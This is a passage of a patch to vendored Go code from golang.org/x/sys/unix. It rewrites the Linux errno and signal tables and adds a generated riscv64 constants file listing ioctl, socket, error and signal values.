-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go
-new file mode 100644
-index 00000000..6a0b2d29
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go
-@@ -0,0 +1,771 @@
-+// mkerrors.sh -Wall -Werror -static -I/tmp/include
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build riscv64,linux
-+
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
-+// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-+
-+package unix
-+
-+import "syscall"
-+
-+const (
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x80081270
-+ BLKBSZSET = 0x40081271
-+ BLKFLSBUF = 0x1261
-+ BLKFRAGET = 0x1265
-+ BLKFRASET = 0x1264
-+ BLKGETSIZE = 0x1260
-+ BLKGETSIZE64 = 0x80081272
-+ BLKPBSZGET = 0x127b
-+ BLKRAGET = 0x1263
-+ BLKRASET = 0x1262
-+ BLKROGET = 0x125e
-+ BLKROSET = 0x125d
-+ BLKRRPART = 0x125f
-+ BLKSECTGET = 0x1267
-+ BLKSECTSET = 0x1266
-+ BLKSSZGET = 0x1268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x1000
-+ FS_IOC_ENABLE_VERITY = 0x40806685
-+ FS_IOC_GETFLAGS = 0x80086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0x5
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0x6
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0x7
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x8000
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x7b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x2000
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x4000
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x40
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0xb703
-+ NS_GET_OWNER_UID = 0xb704
-+ NS_GET_PARENT = 0xb702
-+ NS_GET_USERNS = 0xb701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x4000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x2401
-+ PERF_EVENT_IOC_ENABLE = 0x2400
-+ PERF_EVENT_IOC_ID = 0x80082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x4008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-+ PERF_EVENT_IOC_PERIOD = 0x40082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x2402
-+ PERF_EVENT_IOC_RESET = 0x2403
-+ PERF_EVENT_IOC_SET_BPF = 0x40042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x40082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-+ PPPIOCATTACH = 0x4004743d
-+ PPPIOCATTCHAN = 0x40047438
-+ PPPIOCCONNECT = 0x4004743a
-+ PPPIOCDETACH = 0x4004743c
-+ PPPIOCDISCONN = 0x7439
-+ PPPIOCGASYNCMAP = 0x80047458
-+ PPPIOCGCHAN = 0x80047437
-+ PPPIOCGDEBUG = 0x80047441
-+ PPPIOCGFLAGS = 0x8004745a
-+ PPPIOCGIDLE = 0x8010743f
-+ PPPIOCGIDLE32 = 0x8008743f
-+ PPPIOCGIDLE64 = 0x8010743f
-+ PPPIOCGL2TPSTATS = 0x80487436
-+ PPPIOCGMRU = 0x80047453
-+ PPPIOCGRASYNCMAP = 0x80047455
-+ PPPIOCGUNIT = 0x80047456
-+ PPPIOCGXASYNCMAP = 0x80207450
-+ PPPIOCSACTIVE = 0x40107446
-+ PPPIOCSASYNCMAP = 0x40047457
-+ PPPIOCSCOMPRESS = 0x4010744d
-+ PPPIOCSDEBUG = 0x40047440
-+ PPPIOCSFLAGS = 0x40047459
-+ PPPIOCSMAXCID = 0x40047451
-+ PPPIOCSMRRU = 0x4004743b
-+ PPPIOCSMRU = 0x40047452
-+ PPPIOCSNPMODE = 0x4008744b
-+ PPPIOCSPASS = 0x40107447
-+ PPPIOCSRASYNCMAP = 0x40047454
-+ PPPIOCSXASYNCMAP = 0x4020744f
-+ PPPIOCXFERUNIT = 0x744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x40085203
-+ RNDADDTOENTCNT = 0x40045201
-+ RNDCLEARPOOL = 0x5206
-+ RNDGETENTCNT = 0x80045200
-+ RNDGETPOOL = 0x80085202
-+ RNDRESEEDCRNG = 0x5207
-+ RNDZAPENTCNT = 0x5204
-+ RTC_AIE_OFF = 0x7002
-+ RTC_AIE_ON = 0x7001
-+ RTC_ALM_READ = 0x80247008
-+ RTC_ALM_SET = 0x40247007
-+ RTC_EPOCH_READ = 0x8008700d
-+ RTC_EPOCH_SET = 0x4008700e
-+ RTC_IRQP_READ = 0x8008700b
-+ RTC_IRQP_SET = 0x4008700c
-+ RTC_PIE_OFF = 0x7006
-+ RTC_PIE_ON = 0x7005
-+ RTC_PLL_GET = 0x80207011
-+ RTC_PLL_SET = 0x40207012
-+ RTC_RD_TIME = 0x80247009
-+ RTC_SET_TIME = 0x4024700a
-+ RTC_UIE_OFF = 0x7004
-+ RTC_UIE_ON = 0x7003
-+ RTC_VL_CLR = 0x7014
-+ RTC_VL_READ = 0x80047013
-+ RTC_WIE_OFF = 0x7010
-+ RTC_WIE_ON = 0x700f
-+ RTC_WKALM_RD = 0x80287010
-+ RTC_WKALM_SET = 0x4028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x80108907
-+ SIOCGSTAMP_NEW = 0x80108906
-+ SIOCINQ = 0x541b
-+ SIOCOUTQ = 0x5411
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x10
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x11
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x12
-+ SO_RCVTIMEO = 0x14
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x14
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x13
-+ SO_SNDTIMEO = 0x15
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x15
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x540b
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCGETS2 = 0x802c542a
-+ TCGETX = 0x5432
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETS2 = 0x402c542b
-+ TCSETSF = 0x5404
-+ TCSETSF2 = 0x402c542d
-+ TCSETSW = 0x5403
-+ TCSETSW2 = 0x402c542c
-+ TCSETX = 0x5433
-+ TCSETXF = 0x5434
-+ TCSETXW = 0x5435
-+ TCXONC = 0x540a
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x80045432
-+ TIOCGETD = 0x5424
-+ TIOCGEXCL = 0x80045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x80285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGPGRP = 0x540f
-+ TIOCGPKT = 0x80045438
-+ TIOCGPTLCK = 0x80045439
-+ TIOCGPTN = 0x80045430
-+ TIOCGPTPEER = 0x5441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x5413
-+ TIOCINQ = 0x541b
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x5411
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x5423
-+ TIOCSIG = 0x40045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSPGRP = 0x5410
-+ TIOCSPTLCK = 0x40045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTI = 0x5412
-+ TIOCSWINSZ = 0x5414
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x100
-+ TUNATTACHFILTER = 0x401054d5
-+ TUNDETACHFILTER = 0x401054d6
-+ TUNGETDEVNETNS = 0x54e3
-+ TUNGETFEATURES = 0x800454cf
-+ TUNGETFILTER = 0x801054db
-+ TUNGETIFF = 0x800454d2
-+ TUNGETSNDBUF = 0x800454d3
-+ TUNGETVNETBE = 0x800454df
-+ TUNGETVNETHDRSZ = 0x800454d7
-+ TUNGETVNETLE = 0x800454dd
-+ TUNSETCARRIER = 0x400454e2
-+ TUNSETDEBUG = 0x400454c9
-+ TUNSETFILTEREBPF = 0x800454e1
-+ TUNSETGROUP = 0x400454ce
-+ TUNSETIFF = 0x400454ca
-+ TUNSETIFINDEX = 0x400454da
-+ TUNSETLINK = 0x400454cd
-+ TUNSETNOCSUM = 0x400454c8
-+ TUNSETOFFLOAD = 0x400454d0
-+ TUNSETOWNER = 0x400454cc
-+ TUNSETPERSIST = 0x400454cb
-+ TUNSETQUEUE = 0x400454d9
-+ TUNSETSNDBUF = 0x400454d4
-+ TUNSETSTEERINGEBPF = 0x800454e0
-+ TUNSETTXFILTER = 0x400454d1
-+ TUNSETVNETBE = 0x400454de
-+ TUNSETVNETHDRSZ = 0x400454d8
-+ TUNSETVNETLE = 0x400454dc
-+ UBI_IOCATT = 0x40186f40
-+ UBI_IOCDET = 0x40046f41
-+ UBI_IOCEBCH = 0x40044f02
-+ UBI_IOCEBER = 0x40044f01
-+ UBI_IOCEBISMAP = 0x80044f05
-+ UBI_IOCEBMAP = 0x40084f03
-+ UBI_IOCEBUNMAP = 0x40044f04
-+ UBI_IOCMKVOL = 0x40986f00
-+ UBI_IOCRMVOL = 0x40046f01
-+ UBI_IOCRNVOL = 0x51106f03
-+ UBI_IOCRPEB = 0x40046f04
-+ UBI_IOCRSVOL = 0x400c6f02
-+ UBI_IOCSETVOLPROP = 0x40104f06
-+ UBI_IOCSPEB = 0x40046f05
-+ UBI_IOCVOLCRBLK = 0x40804f07
-+ UBI_IOCVOLRMBLK = 0x4f08
-+ UBI_IOCVOLUP = 0x40084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x4
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x80045702
-+ WDIOC_GETPRETIMEOUT = 0x80045709
-+ WDIOC_GETSTATUS = 0x80045701
-+ WDIOC_GETSUPPORT = 0x80285700
-+ WDIOC_GETTEMP = 0x80045703
-+ WDIOC_GETTIMELEFT = 0x8004570a
-+ WDIOC_GETTIMEOUT = 0x80045707
-+ WDIOC_KEEPALIVE = 0x80045705
-+ WDIOC_SETOPTIONS = 0x80045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4
-+ XTABS = 0x1800
-+)
-+
-+// Errors
-+const (
-+ EADDRINUSE = syscall.Errno(0x62)
-+ EADDRNOTAVAIL = syscall.Errno(0x63)
-+ EADV = syscall.Errno(0x44)
-+ EAFNOSUPPORT = syscall.Errno(0x61)
-+ EALREADY = syscall.Errno(0x72)
-+ EBADE = syscall.Errno(0x34)
-+ EBADFD = syscall.Errno(0x4d)
-+ EBADMSG = syscall.Errno(0x4a)
-+ EBADR = syscall.Errno(0x35)
-+ EBADRQC = syscall.Errno(0x38)
-+ EBADSLT = syscall.Errno(0x39)
-+ EBFONT = syscall.Errno(0x3b)
-+ ECANCELED = syscall.Errno(0x7d)
-+ ECHRNG = syscall.Errno(0x2c)
-+ ECOMM = syscall.Errno(0x46)
-+ ECONNABORTED = syscall.Errno(0x67)
-+ ECONNREFUSED = syscall.Errno(0x6f)
-+ ECONNRESET = syscall.Errno(0x68)
-+ EDEADLK = syscall.Errno(0x23)
-+ EDEADLOCK = syscall.Errno(0x23)
-+ EDESTADDRREQ = syscall.Errno(0x59)
-+ EDOTDOT = syscall.Errno(0x49)
-+ EDQUOT = syscall.Errno(0x7a)
-+ EHOSTDOWN = syscall.Errno(0x70)
-+ EHOSTUNREACH = syscall.Errno(0x71)
-+ EHWPOISON = syscall.Errno(0x85)
-+ EIDRM = syscall.Errno(0x2b)
-+ EILSEQ = syscall.Errno(0x54)
-+ EINPROGRESS = syscall.Errno(0x73)
-+ EISCONN = syscall.Errno(0x6a)
-+ EISNAM = syscall.Errno(0x78)
-+ EKEYEXPIRED = syscall.Errno(0x7f)
-+ EKEYREJECTED = syscall.Errno(0x81)
-+ EKEYREVOKED = syscall.Errno(0x80)
-+ EL2HLT = syscall.Errno(0x33)
-+ EL2NSYNC = syscall.Errno(0x2d)
-+ EL3HLT = syscall.Errno(0x2e)
-+ EL3RST = syscall.Errno(0x2f)
-+ ELIBACC = syscall.Errno(0x4f)
-+ ELIBBAD = syscall.Errno(0x50)
-+ ELIBEXEC = syscall.Errno(0x53)
-+ ELIBMAX = syscall.Errno(0x52)
-+ ELIBSCN = syscall.Errno(0x51)
-+ ELNRNG = syscall.Errno(0x30)
-+ ELOOP = syscall.Errno(0x28)
-+ EMEDIUMTYPE = syscall.Errno(0x7c)
-+ EMSGSIZE = syscall.Errno(0x5a)
-+ EMULTIHOP = syscall.Errno(0x48)
-+ ENAMETOOLONG = syscall.Errno(0x24)
-+ ENAVAIL = syscall.Errno(0x77)
-+ ENETDOWN = syscall.Errno(0x64)
-+ ENETRESET = syscall.Errno(0x66)
-+ ENETUNREACH = syscall.Errno(0x65)
-+ ENOANO = syscall.Errno(0x37)
-+ ENOBUFS = syscall.Errno(0x69)
-+ ENOCSI = syscall.Errno(0x32)
-+ ENODATA = syscall.Errno(0x3d)
-+ ENOKEY = syscall.Errno(0x7e)
-+ ENOLCK = syscall.Errno(0x25)
-+ ENOLINK = syscall.Errno(0x43)
-+ ENOMEDIUM = syscall.Errno(0x7b)
-+ ENOMSG = syscall.Errno(0x2a)
-+ ENONET = syscall.Errno(0x40)
-+ ENOPKG = syscall.Errno(0x41)
-+ ENOPROTOOPT = syscall.Errno(0x5c)
-+ ENOSR = syscall.Errno(0x3f)
-+ ENOSTR = syscall.Errno(0x3c)
-+ ENOSYS = syscall.Errno(0x26)
-+ ENOTCONN = syscall.Errno(0x6b)
-+ ENOTEMPTY = syscall.Errno(0x27)
-+ ENOTNAM = syscall.Errno(0x76)
-+ ENOTRECOVERABLE = syscall.Errno(0x83)
-+ ENOTSOCK = syscall.Errno(0x58)
-+ ENOTSUP = syscall.Errno(0x5f)
-+ ENOTUNIQ = syscall.Errno(0x4c)
-+ EOPNOTSUPP = syscall.Errno(0x5f)
-+ EOVERFLOW = syscall.Errno(0x4b)
-+ EOWNERDEAD = syscall.Errno(0x82)
-+ EPFNOSUPPORT = syscall.Errno(0x60)
-+ EPROTO = syscall.Errno(0x47)
-+ EPROTONOSUPPORT = syscall.Errno(0x5d)
-+ EPROTOTYPE = syscall.Errno(0x5b)
-+ EREMCHG = syscall.Errno(0x4e)
-+ EREMOTE = syscall.Errno(0x42)
-+ EREMOTEIO = syscall.Errno(0x79)
-+ ERESTART = syscall.Errno(0x55)
-+ ERFKILL = syscall.Errno(0x84)
-+ ESHUTDOWN = syscall.Errno(0x6c)
-+ ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-+ ESRMNT = syscall.Errno(0x45)
-+ ESTALE = syscall.Errno(0x74)
-+ ESTRPIPE = syscall.Errno(0x56)
-+ ETIME = syscall.Errno(0x3e)
-+ ETIMEDOUT = syscall.Errno(0x6e)
-+ ETOOMANYREFS = syscall.Errno(0x6d)
-+ EUCLEAN = syscall.Errno(0x75)
-+ EUNATCH = syscall.Errno(0x31)
-+ EUSERS = syscall.Errno(0x57)
-+ EXFULL = syscall.Errno(0x36)
-+)
-+
-+// Signals
-+const (
-+ SIGBUS = syscall.Signal(0x7)
-+ SIGCHLD = syscall.Signal(0x11)
-+ SIGCLD = syscall.Signal(0x11)
-+ SIGCONT = syscall.Signal(0x12)
-+ SIGIO = syscall.Signal(0x1d)
-+ SIGPOLL = syscall.Signal(0x1d)
-+ SIGPROF = syscall.Signal(0x1b)
-+ SIGPWR = syscall.Signal(0x1e)
-+ SIGSTKFLT = syscall.Signal(0x10)
